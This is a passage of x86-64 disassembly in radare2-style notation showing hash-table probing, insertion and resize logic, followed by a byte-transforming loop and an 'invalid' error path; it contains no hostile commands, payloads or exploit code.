mov qword [rsp + 0xe8], rdi
mov qword [rsp + 0xd0], r15
mov edx, 4
mov rcx, qword [rsp + 0xb0]
call fcn.0042315c
test r13, r13
je 0x403e2d
mov r14d, dword [r13 - 8]
lea r15d, [r14 - 1]
mov rbp, r14
jmp 0x403e38
test r13, r13
je 0x403f32
mov eax, dword [r13 - 8]
imul rcx, rax, 0x50
mov rax, rcx
xor edx, edx
mov r8d, 0x64
div r8
neg rdx
lea rax, [rcx + rdx]
add rax, 0x64
xor edx, edx
mov ecx, 0x50
div rcx
jmp 0x403f37
xor r14d, r14d
mov r15d, 0xffffffff
xor ebp, ebp
mov rsi, rax
shr rax, 0x39
mov qword [rsp + 0x68], rax
and esi, r15d
mov al, byte [r13 + rsi]
sub r14d, 1
setb cl
test al, al
je 0x403eaa
test cl, cl
jne 0x403eaa
test al, al
jns 0x403e96
mov ecx, eax
and cl, 0x7f
cmp byte [rsp + 0x68], cl
jne 0x403e96
mov r12, qword [r13 - 0x10]
mov rdi, rsi
shl rdi, 4
mov r8, qword [r12 + rdi]
mov r9, qword [r12 + rdi + 8]
mov edx, 4
mov rcx, qword [rsp + 0xb0]
call fcn.0040e47b
test al, 1
je 0x403ea5
jmp 0x403eee
mov ecx, dword [r13 - 8]
cmp rbp, rcx
jne 0x403ea5
cmp al, 1
cmove rbp, rsi
inc rsi
jmp 0x403e44
mov eax, dword [r13 - 8]
cmp rbp, rax
cmovb rsi, rbp
mov rdi, qword [rsp + 0xe8]
dec edi
mov rax, qword [rsp + 0x68]
or al, 0x80
mov byte [r13 + rsi], al
mov r12, rsi
shl r12, 4
add r12, qword [r13 - 0x10]
add rsi, qword [r13 - 0x18]
mov rcx, qword [rsp + 0xe0]
inc ecx
mov byte [rsp + 0x340], 0
jmp 0x403f0d
add r12, rdi
add rsi, qword [r13 - 0x18]
mov byte [rsp + 0x340], 1
mov rdi, qword [rsp + 0xe8]
mov rcx, qword [rsp + 0xe0]
mov rax, qword [rsp + 0xf8]
mov al, byte [rax]
mov dword [rsp + 0x84], ecx
lea rbp, fcn.004085c4
mov r15, qword [rsp + 0xd0]
jmp 0x40411d
mov eax, 1
test eax, eax
je 0x403f43
bsr ecx, eax
xor ecx, 0x1f
jmp 0x403f48
mov ecx, 0x20
add ecx, 0x20
neg ecx
mov esi, 1
shl rsi, cl
cmp esi, 9
mov eax, 8
cmovb esi, eax
lea rdi, [rsi + 0x1f]
movabs rax, 0x1fffffff8
and rdi, rax
mov r14, rsi
shl r14, 4
add r14, rdi
lea r8, [rsi + r14]
add r8, 7
movabs rax, 0x3ffffffff8
and r8, rax
mov qword [rsp + 0x140], rbx
mov qword [rsp + 0x148], rbp
mov rcx, qword [rsp + 0xf8]
lea rdx, [rsp + 0x140]
call fcn.00423289
movzx r13d, word [rsp + 0x350]
test r13w, r13w
je 0x404004
lea rax, [0x004ceb70]
cmp dword [rsp + 0x84], 0
je 0x4040f3
mov edx, 4
mov rcx, qword [rsp + 0xb0]
call fcn.0042315c
mov rsi, rax
mov rdx, qword [rsp + 0x68]
mov r12, r15
test rdx, rdx
je 0x404076
mov edi, dword [rdx - 8]
lea r14d, [rdi - 1]
jmp 0x40407e
mov rax, qword [rsp + 0x340]
lea r13, [rax + 0x18]
add r14, rax
mov qword [rax], r14
add rdi, rax
mov qword [rax + 8], rdi
mov qword [rsp + 0xf0], rax
mov dword [rax + 0x10], esi
xor r14d, r14d
mov rcx, r13
xor edx, edx
mov r8, rsi
call fcn.0046bf36
imul rax, rsi, 0x50
xor edx, edx
mov ecx, 0x64
div rcx
mov rdi, rax
cmp dword [rsp + 0x84], 0
je 0x40430d
mov qword [rsp + 0xd0], r15
mov r9, qword [rsp + 0x68]
test r9, r9
je 0x404141
mov eax, dword [r9 - 8]
jmp 0x404143
xor edi, edi
mov r14d, 0xffffffff
mov r15, rsi
shr r15, 0x39
and esi, r14d
mov al, byte [rdx + rsi]
sub edi, 1
setb cl
test al, al
je 0x4040d8
test cl, cl
jne 0x4040d8
test al, al
jns 0x4040d3
and al, 0x7f
cmp r15b, al
jne 0x4040d3
mov rax, qword [rdx - 0x10]
mov rcx, rsi
shl rcx, 4
mov r8, qword [rax + rcx]
mov r9, qword [rax + rcx + 8]
mov edx, 4
mov rcx, qword [rsp + 0xb0]
call fcn.0040e47b
mov rdx, qword [rsp + 0x68]
test al, 1
jne 0x4040e1
inc rsi
jmp 0x404085
lea rax, [0x004ceb70]
jmp 0x4040f0
mov qword [rsp + 0x50], rsi
mov byte [rsp + 0x58], 1
lea rax, [rsp + 0x50]
mov r15, r12
cmp byte [rax + 8], 0
je 0x4011bf
mov rsi, qword [rax]
mov r12, rsi
shl r12, 4
mov r13, qword [rsp + 0x68]
add r12, qword [r13 - 0x10]
add rsi, qword [r13 - 0x18]
mov byte [rsp + 0x28], 1
xor edi, edi
mov al, 1
test al, 1
jne 0x404136
mov rax, qword [rsp + 0xb0]
mov qword [r12], rax
mov qword [r12 + 8], 4
mov byte [rsi], r15b
inc r15
jmp 0x403d84
xor eax, eax
mov rcx, qword [r9 - 0x18]
mov qword [rsp + 0x120], rcx
mov rcx, qword [r9 - 0x10]
mov qword [rsp + 0x118], rcx
xor r14d, r14d
xor edx, edx
mov qword [rsp + 0x110], rax
cmp rdx, rax
je 0x4042e3
cmp byte [r9 + rdx], 0
jns 0x4042db
mov qword [rsp + 0xe8], rdi
mov rax, rdx
shl rax, 4
mov rcx, qword [rsp + 0x118]
mov rbp, qword [rcx + rax]
mov rsi, qword [rcx + rax + 8]
mov rax, qword [rsp + 0x120]
mov qword [rsp + 0x128], rdx
mov al, byte [rax + rdx]
mov byte [rsp + 0x8a], al
mov qword [rsp + 0xe0], r14
test r14d, r14d
je 0x404247
mov rcx, rbp
mov rdx, rsi
call fcn.0042315c
mov rdi, rax
mov rax, qword [rsp + 0xf0]
mov r12d, dword [rax + 0x10]
lea r15d, [r12 - 1]
mov r14, rdi
shr r14, 0x39
and edi, r15d
mov al, byte [r13 + rdi]
sub r12d, 1
setb cl
test al, al
je 0x404247
test cl, cl
jne 0x404247
test al, al
jns 0x40423a
and al, 0x7f
cmp r14b, al
jne 0x40423a
mov rax, qword [rsp + 0xf0]
mov rax, qword [rax + 8]
mov rcx, rdi
shl rcx, 4
mov r8, qword [rax + rcx]
mov r9, qword [rax + rcx + 8]
mov rcx, rbp
mov rdx, rsi
call fcn.0040e47b
test al, 1
jne 0x40423f
inc rdi
jmp 0x4041ed
mov byte [rsp + 0x348], 1
mov rcx, rbp
mov rdx, rsi
call fcn.0042315c
mov rcx, qword [rsp + 0xf0]
mov edx, dword [rcx + 0x10]
dec edx
mov r8, rax
mov ecx, r8d
and ecx, edx
lea r8, [rcx + 1]
cmp byte [r13 + rcx], 0
js 0x404262
mov rdi, qword [rsp + 0xe8]
dec edi
shr rax, 0x39
or al, 0x80
mov r8, qword [rsp + 0xf0]
mov byte [r8 + rcx + 0x18], al
mov rax, qword [r8 + 8]
mov rdx, rcx
shl rdx, 4
mov qword [rax + rdx], rbp
mov qword [rax + rdx + 8], rsi
mov rax, qword [r8]
mov dl, byte [rsp + 0x8a]
mov byte [rax + rcx], dl
mov r14, qword [rsp + 0xe0]
inc r14d
cmp r14d, dword [rsp + 0x84]
je 0x4042f4
mov r9, qword [rsp + 0x68]
mov rax, qword [rsp + 0x110]
mov rdx, qword [rsp + 0x128]
inc rdx
jmp 0x404168
lea rbp, fcn.004085c4
mov r15, qword [rsp + 0xd0]
jmp 0x404312
mov eax, dword [rsp + 0x84]
mov r14d, eax
lea rbp, fcn.004085c4
mov r15, qword [rsp + 0xd0]
mov r9, qword [rsp + 0x68]
test r9, r9
je 0x403db8
mov eax, dword [r9 - 8]
add r9, 0xffffffffffffffe8
lea rcx, [rax + 0x1f]
movabs rdx, 0x1fffffff8
and rcx, rdx
mov rdx, rax
shl rdx, 4
add rdx, rax
lea r8, [rcx + rdx]
add r8, 7
movabs rax, 0x3ffffffff8
and r8, rax
mov qword [rsp + 0x340], rbx
mov qword [rsp + 0x348], rbp
mov rcx, qword [rsp + 0xf8]
mov rdx, r9
call fcn.0040e9fd
jmp 0x403db8
mov r13w, 4
xor eax, eax
test al, al
jne 0x4011bf
mov rax, qword [rsp + 0x100]
add rax, 0xfffffffffffffc00
mov rsi, rax
shr rsi, 2
mov rdi, 0xffffffffffffffc0
cmp rax, 4
jb 0x4043d0
mov r9, qword [rsp + 0x274c8]
lea rcx, [rsp + 0x988]
mov rdx, rsi
mov r8b, 6
call fcn.004085c4
mov rdi, rax
test rax, rax
je 0x4011bf
add qword [rsp + 0xd8], 0x400
xor r14d, r14d
lea rdx, [0x004ceb70]
cmp r14, rsi
je 0x4044dc
mov rax, rdx
cmp dword [rsp + 0x84], 0
je 0x4044b8
mov rax, qword [rsp + 0xd8]
lea rbx, [rax + r14*4]
mov edx, 4
mov rcx, rbx
call fcn.0042315c
mov r15, rax
mov rdx, qword [rsp + 0x68]
test rdx, rdx
je 0x40442f
mov ebp, dword [rdx - 8]
lea r13d, [rbp - 1]
jmp 0x404437
xor ebp, ebp
mov r13d, 0xffffffff
mov r12, r15
shr r12, 0x39
and r15d, r13d
mov al, byte [rdx + r15]
sub ebp, 1
setb cl
test al, al
je 0x40448d
test cl, cl
jne 0x40448d
test al, al
jns 0x404488
and al, 0x7f
cmp r12b, al
jne 0x404488
mov rax, qword [rdx - 0x10]
mov rcx, r15
shl rcx, 4
mov r8, qword [rax + rcx]
mov r9, qword [rax + rcx + 8]
mov edx, 4
mov rcx, rbx
call fcn.0040e47b
mov rdx, qword [rsp + 0x68]
test al, 1
jne 0x404499
inc r15
jmp 0x40443e
lea rdx, [0x004ceb70]
mov rax, rdx
jmp 0x4044b8
mov qword [rsp + 0x340], r15
mov byte [rsp + 0x348], 1
lea rax, [rsp + 0x340]
lea rdx, [0x004ceb70]
cmp byte [rax + 8], 0
je 0x4044f9
mov rax, qword [rax]
mov rcx, qword [rsp + 0x68]
mov rcx, qword [rcx - 0x18]
mov al, byte [rcx + rax]
sub al, r14b
mov byte [rdi + r14], al
inc r14
jmp 0x4043e6
mov rcx, rdi
mov edx, 0x5c5f2056
call fcn.00407859
xor r13d, r13d
jmp 0x4011bf
mov r13d, eax
jmp 0x4011bf
lea rcx, str.invalid
lea r8, [0x004ceb70]
mov edx, 7
call fcn.0040784f
int3